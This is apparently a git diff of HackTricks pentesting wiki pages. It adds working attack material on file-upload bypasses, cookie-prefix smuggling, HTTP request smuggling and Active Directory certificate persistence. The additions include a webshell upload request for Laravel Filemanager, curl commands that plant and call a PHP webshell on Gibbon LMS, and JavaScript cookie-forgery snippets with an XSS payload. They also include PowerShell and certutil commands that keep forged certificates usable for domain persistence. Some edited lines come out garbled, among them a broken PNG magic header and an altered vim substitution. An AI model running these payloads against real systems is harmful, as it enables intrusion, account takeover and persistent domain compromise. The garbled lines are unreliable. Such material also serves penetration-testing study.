- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
|
||||
|
||||
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -51,7 +51,7 @@ Other useful extensions:
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,6 +59,40 @@ Other useful extensions:
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
|
||||
|
||||
- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
|
||||
- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
|
||||
Then hit the saved path (typical in Laravel + LFM):
|
||||
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Enforce strict server-side allowlists and re-validate the persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
@ -81,8 +115,9 @@ Other useful extensions:
|
||||
- **Possible Information disclosure**:
|
||||
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
|
||||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
||||
3. Uploading a file with **".”, "..”, or "…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/” directory, the ".” filename will create a file called "uploads” in the "/www/” directory.
|
||||
4. Upload a file that may not be deleted easily such as **"…:.jpg”** in **NTFS**. (Windows)
|
||||
3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called
|
||||
uploads” in the "/www/" directory.
|
||||
4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
|
||||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
|
||||
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
||||
@ -98,7 +133,7 @@ The `.inc` extension is sometimes used for php files that are only used to **imp
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -132,10 +167,54 @@ The execution of the payload occurs during the parsing of the configuration file
|
||||
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
# => MHhkZiB3YXMgaGVyZSEK
|
||||
|
||||
# Write poc.php via unauth POST
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
|
||||
Drop a minimal webshell and execute commands:
|
||||
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
|
||||
Notes:
|
||||
- The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type.
|
||||
- Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).
|
||||
|
||||
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
|
||||
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
@ -237,7 +316,7 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
@ -278,6 +357,7 @@ Below is an example of Python code used to create a malicious zip file:
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
@ -316,7 +396,7 @@ For further details **check the original post in**: [https://blog.silentsignal.e
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:%s/xxA/../g
|
||||
:x!
|
||||
```
|
||||
|
||||
@ -366,7 +446,13 @@ How to avoid file type detections by uploading a valid JSON file even if not all
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
|
@ -107,6 +107,65 @@ Or in PHP it was possible to add **other characters at the beginning** of the co
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
#### Unicode whitespace cookie-name smuggling (prefix forgery)
|
||||
|
||||
Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie.
|
||||
|
||||
- PoC from a subdomain that can set parent-domain cookies:
|
||||
|
||||
```js
|
||||
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
|
||||
```
|
||||
|
||||
- Typical backend behavior that enables the issue:
|
||||
- Frameworks that trim/normalize cookie keys. In Django, Python’s `str.strip()` removes a wide range of Unicode whitespace code points, causing the name to normalize to `__Host-name`.
|
||||
- Commonly trimmed code points include: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
|
||||
- Many frameworks resolve duplicate cookie names as “last wins”, so the attacker-controlled normalized cookie value overwrites the legitimate one.
|
||||
|
||||
- Browser differences matter:
|
||||
- Safari blocks multibyte Unicode whitespace in cookie names (e.g., rejects U+2000) but still permits single-byte U+0085 and U+00A0, which many backends trim. Cross-test across browsers.
|
||||
|
||||
- Impact: Enables overwriting of `__Host-`/`__Secure-` cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation.
|
||||
|
||||
- On-the-wire vs server view example (U+2000 present in name):
|
||||
|
||||
```
|
||||
Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;
|
||||
```
|
||||
|
||||
Many backends split/parse and then trim, resulting in the normalized `__Host-name` taking the attacker’s value.
|
||||
|
||||
#### Legacy `$Version=1` cookie splitting on Java backends (prefix bypass)
|
||||
|
||||
Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin.
|
||||
|
||||
- PoC forcing legacy parsing:
|
||||
|
||||
```js
|
||||
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
|
||||
```
|
||||
|
||||
- Why it works:
|
||||
- Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of `__Host-`/`__Secure-` prefix guarantees.
|
||||
|
||||
- Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.
|
||||
|
||||
#### Duplicate-name last-wins overwrite primitive
|
||||
|
||||
When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win.
|
||||
|
||||
#### Detection and tooling
|
||||
|
||||
Use Burp Suite to probe for these conditions:
|
||||
|
||||
- Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
|
||||
- Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization.
|
||||
- Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
|
||||
- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
|
||||
|
||||
> Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
|
||||
@ -339,6 +398,8 @@ There should be a pattern (with the size of a used block). So, knowing how are a
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
|
||||
- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -36,6 +36,23 @@ Remember that in HTTP **a new line character is composed by 2 bytes:**
|
||||
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
|
||||
- **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.
|
||||
|
||||
For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend.
|
||||
|
||||
This would be a **Hidden-Visible discrepancy**.
|
||||
|
||||
If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation.
|
||||
|
||||
For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.
|
||||
|
||||
Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.
|
||||
|
||||
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
@ -184,6 +201,34 @@ EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
|
||||
#### `0.CL` Scenario
|
||||
|
||||
In a `0.CL` sitation a request is send with a Content-Length like:
|
||||
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
|
||||
And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response.
|
||||
|
||||
However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like:
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
|
||||
This is useful to cause a desync, but it won't have any impact until now.
|
||||
|
||||
However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### Breaking the web server
|
||||
|
||||
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
|
||||
@ -269,6 +314,14 @@ Identifying HTTP request smuggling vulnerabilities can often be achieved using t
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
|
||||
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
Check how this header can help exploiting a http desync in:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
|
||||
@ -878,6 +931,7 @@ def handleResponse(req, interesting):
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow.md
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
@ -90,6 +90,14 @@ Payloads example:
|
||||
</div>
|
||||
```
|
||||
|
||||
### Gopher
|
||||
|
||||
Use gopher to send arbitrary requests to internal services with arbitrary data:
|
||||
|
||||
```
|
||||

|
||||
```
|
||||
|
||||
### Fuzzing
|
||||
|
||||
```html
|
||||
|
@ -45,14 +45,51 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\
|
||||
Moreover, the **certificates generated** with this method **cannot be revoked** as CA is not aware of them.
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
|
||||
|
||||
- Contain a strong binding to the target account (for example, the SID security extension), or
|
||||
- Be paired with a strong, explicit mapping on the target object’s `altSecurityIdentities` attribute.
|
||||
|
||||
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
|
||||
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
|
||||
Notes
|
||||
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
certutil -enterprise -viewstore NTAuth
|
||||
certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
|
||||
# (Optional) publish into AD CA containers to improve chain building across the forest
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
|
||||
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as:
|
||||
@ -64,7 +101,19 @@ Opportunities for **persistence** through **security descriptor modifications of
|
||||
|
||||
An example of malicious implementation would involve an attacker, who has **elevated permissions** in the domain, adding the **`WriteOwner`** permission to the default **`User`** certificate template, with the attacker being the principal for the right. To exploit this, the attacker would first change the ownership of the **`User`** template to themselves. Following this, the **`mspki-certificate-name-flag`** would be set to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`**, allowing a user to provide a Subject Alternative Name in the request. Subsequently, the attacker could **enroll** using the **template**, choosing a **domain administrator** name as an alternative name, and utilize the acquired certificate for authentication as the DA.
|
||||
|
||||
Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
|
||||
|
||||
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
|
||||
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
|
||||
|
||||
> [!TIP]
|
||||
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -14,7 +14,7 @@ Moreover, these functions accepts also an **`entropy` parameter** which will als
|
||||
|
||||
### Users key generation
|
||||
|
||||
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the HTLM hash of the user**.
|
||||
